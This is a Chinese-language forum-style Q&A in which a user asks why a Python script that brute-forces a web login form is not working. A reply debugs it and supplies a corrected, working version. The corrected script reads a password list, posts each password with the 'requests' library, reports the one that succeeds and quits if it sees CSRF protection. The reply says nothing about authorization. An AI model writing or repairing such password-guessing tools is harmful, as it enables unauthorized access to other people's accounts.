我有这个 python 代码似乎不起作用。我的passwords.txt 文件包含三个密码;错误密码、正确密码、错误密码。
似乎没有捕获到正确的密码;我还有其他方法可以抓住它吗?问题可能出在其他地方吗(例如,找不到文本字段)?
import requests
url = "http:website.login"
username = "username"
error = "Password Error"
try:
def bruteCracking(username,url,error):
for password in passwords:
password = password.strip()
print("Trying:" + password)
data_dict = {"text": username,"password": password,"button":"btnEntrar"}
response = requests.post(url, data=data_dict)
if error in str(response.content):
pass
elif "csrf" in str(response.content):
print("CSRF Token Detected!! BruteF0rce Not Working This Website.")
exit()
else:
print("Username: ---> " + username)
print("Password: ---> " + password)
exit()
except:
print("Some Error Occurred Please Check Your Internet Connection!")
with open("passwords.txt", "r") as passwords:
bruteCracking(username,url,error)
btnEntrar
是按钮的名称,对象类型不是submit
,而是button
当前的实施存在一些问题。首先,变量密码未使用文件“passwords.txt”的内容正确初始化。其次,函数 bruteCracking 是在 try 块内定义的,这使得它在块外无法访问。这是代码的修改版本,应该可以工作
import requests
url = "http:website.login"
username = "username"
error = "Password Error"
def bruteCracking(username, url, error, passwords):
try:
for password in passwords:
password = password.strip()
print("Trying: " + password)
data_dict = {"text": username, "password": password, "button": "btnEntrar"}
response = requests.post(url, data=data_dict)
if error in str(response.content):
pass
elif "csrf" in str(response.content):
print("CSRF Token Detected!! BruteForce Not Working This Website.")
exit()
else:
print("Username: ---> " + username)
print("Password: ---> " + password)
exit()
except Exception as e:
print("Some Error Occurred: ", e)
try:
with open("passwords.txt", "r") as passwords_file:
passwords = passwords_file.readlines()
bruteCracking(username, url, error, passwords)
except FileNotFoundError:
print("Passwords file not found.")
except Exception as e:
print("Some Error Occurred: ", e)